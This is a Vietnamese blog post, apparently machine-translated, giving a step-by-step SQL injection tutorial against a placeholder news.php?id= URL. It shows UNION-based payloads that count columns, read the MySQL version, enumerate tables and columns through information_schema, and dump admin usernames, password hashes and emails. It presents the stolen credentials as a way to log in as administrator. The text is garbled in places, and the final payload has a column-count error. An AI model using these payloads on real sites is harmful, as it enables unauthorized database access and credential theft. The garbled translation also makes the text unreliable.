SQLi - cơ bản

1).  Kiếm link lỗi

http://www.site.com/news.php?id=5

Bây giờ để kiểm tra xem là dễ bị tổn thương chúng ta thêm vào cuối url' (quote), và đó sẽ làhttp://www.site.com/news.php?id=5'
Sổ lỗi

Bạn có một lỗi trong cú pháp SQL của bạn; kiểm tra hướng dẫn tương ứng với phiên bản máy chủ MySQL của bạn cho quyền vv .. "hoặc một cái gì đó tương tự như điều đó có nghĩa là vulrnable tiêm sql
2). Tìm số lượng các cột
SD order by

http://www.site.com/news.php?id=5 order by 1/* <-- no error
http://www.site.com/news.php?id=5 order by 2/* <-- no error
http://www.site.com/news.php?id=5 order by 3/* <-- no error
http://www.site.com/news.php?id=5 order by 4/* <-- error

chúng ta nhận được tin nhắn như thế này Unknown cột'4' in 'order clause' hay như thế, mà có nghĩa là nó có 3 cột, nguyên nhân, chúng tôi đã nhận ra lỗi trên 4.

3). Kiểm tra các chức năng UNION
Với đoàn chúng tôi có thể lựa chọn nhiều dữ liệu hơn trong một tuyên bố sql. vì vậy chúng tôi có
http://www.site.com/news.php?id=5 union all select 1,2,3/*

(chúng ta đã phát hiện ra rằng số lượng các cột 3 trong phần 2)

nếu chúng ta thấy một số con số trên màn hình, tức là 1 hoặc 2 hoặc 3 sau đó các công trình UNION
4). Kiểm tra các phiên bản MySQL
http://www.site.com/news.php?id=5 union all select 1,2,3/*

NOTE: nếu / * không làm việc hoặc bạn nhận được một số lỗi, sau đó thử --
đó là một nhận xét và điều quan trọng là cho truy vấn của chúng tôi để làm việc đúng cách.
hãy nói rằng chúng ta có số 2 trên màn hình, bây giờ để kiểm tra các phiên bản
chúng tôi thay thế số 2 với @@version hoặc version()  và nhận được một cái gì đó như 4.1.33-log or 5.0.45 hoặc tương tự. nó sẽ giống như thế này
http://www.site.com/news.php?id=5 union all select 1,@@version,3/*

nếu bạn nhận được một lỗi "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."
tôi không thấy bất kỳ giấy bao gồm vấn đề này, vì vậy tôi phải viết nó
những gì chúng ta cần là chuyển đổi () function

http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

hoặc với hex() và unhex()

http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

và bạn sẽ nhận được phiên bản MySQL

5a). Nhận được bảng và cột tên của phiên bản MySQL là < 5 (i.e 4.1.33, 4.1.12...)

Cho này, chúng ta phải đoán bảng và tên cột trong nhiều trường hợp.
bảng tên phổ biến là: user/s, admin/s, member/s ...
tên cột phổ biến là: username, user, usr, user_name, password, pass, passwd, pwd etc...

http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/*

(chúng ta thấy số 2 trên màn hình như trước đây, và đó là tốt)

Nếu chúng ta biết rằng bảng quản trị tồn tại ...
bây giờ để kiểm tra tên cột.
http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/*

(nếu bạn nhận được một lỗi, khi thử tên cột khác)
chúng tôi có được tên hiển thị trên màn hình, ví dụ như là admin, hoặc superadmin vv .. 
bây giờ để kiểm tra xem mật khẩu cột tồn tại

http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/*

(if you get an error, then try the other column name)

húng ta nhìn thấy mật khẩu trên màn hình trong băm hoặc đồng bằng văn bản, nó phụ thuộc như thế nào cơ sở dữ liệu được thiết lập tức là md5 băm, mysql hash, sha1 ... bây giờ chúng ta phải hoàn thành truy vấn để nhìn đẹp cho rằng chúng tôi có thể sử dụng concat () chức năng (nó tham gia chuỗi)

http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*

Lưu ý rằng tôi đặt 0x3A, giá trị hex của nó đối với: (để 0x3A là giá trị hex cho đại tràng) (có một cách khác cho rằng, char (58), giá trị ascii cho:)

http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*

bây giờ chúng tôi có được usernameassword dislayed trên màn hình, tức là admin: admin hoặc: somehash. khi bạn có, bạn có thể đăng nhập như quản trị hoặc một số siêu người dùng. nếu không có thể đoán tên bảng bên phải, bạn có thể thử mysql.user (mặc định). nó có sử dụng cột tôi mật khẩu, do đó ví dụ như là

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

5b). Nhận được bảng và cột tên của phiên bản MySQL là > 5

Đối với điều này chúng ta cần information_schema. Nó chứa tất cả các bảng và cột trong cơ sở dữ liệu. Để có được bảng chúng tôi sử dụng table_name và information_schema.tables.

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

ở đây chúng ta thay thế số 2 của chúng tôi với tên_bảng để có được bảng đầu tiên từ information_schema hiển thị trên màn hình. Bây giờ chúng ta phải thêm LIMIT vào cuối truy vấn để liệt kê ra tất cả các bảng.

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*

lưu ý rằng tôi đặt 0,1 (được 1 kết quả bắt đầu từ 0). bây giờ để xem bảng thứ hai, chúng tôi thay đổi giới hạn 0,1 đến 1,1 giới hạn

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*

bảng thứ hai được hiển thị. cho bảng thứ ba chúng tôi đặt giới hạn 2,1

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

giữ cách tăng cho đến khi bạn nhận được một số hữu ích như db_admin, poll_user, auth, auth_user etc...
Để có được các tên cột phương pháp này là như nhau.
ở đây chúng tôi sử dụng column_name và information_schema.columns 
phương pháp này là tương tự như trên để ví dụ là

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

cột đầu tiên được hiển thị. thứ hai (chúng ta thay đổi giới hạn 0,1 đến giới hạn 1,1)

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

cột thứ hai được hiển thị, vì vậy giữ cách tăng cho đến khi bạn có được một cái gì đó như
Tên truy nhập, sử dụng, đăng nhập, mật khẩu, vượt qua, passwd vv ..
nếu bạn muốn tên cột hiển thị cho bảng sử dụng cụ thể truy vấn này. (nơi điều khoản)
hãy nói rằng chúng tôi nhận thấy người sử dụng bảng.

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*

bây giờ chúng tôi có được hiển thị tên người sử dụng cột trong bảng. Chỉ cần sử dụng LIMIT chúng ta có thể liệt kê tất cả các cột trong bảng người dùng. Lưu ý rằng điều này sẽ không hoạt động nếu giá ảo thuật là ON. hãy nói rằng chúng tôi tìm thấy colums người dùng, vượt qua và email.

bây giờ để hoàn thành truy vấn để đặt chúng lại với nhau để chúng ta sử dụng concat(), tôi mô tả nó trước đó.

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*

những gì chúng tôi nhận được ở đây là userass: email từ người sử dụng bảng.

Ví dụ: admin:hash:rika@vnbloger.tk 
Share on Google Plus

About thanh

    Blogger Comment
    Facebook Comment

0 nhận xét:

Đăng nhận xét

cắt mí mắt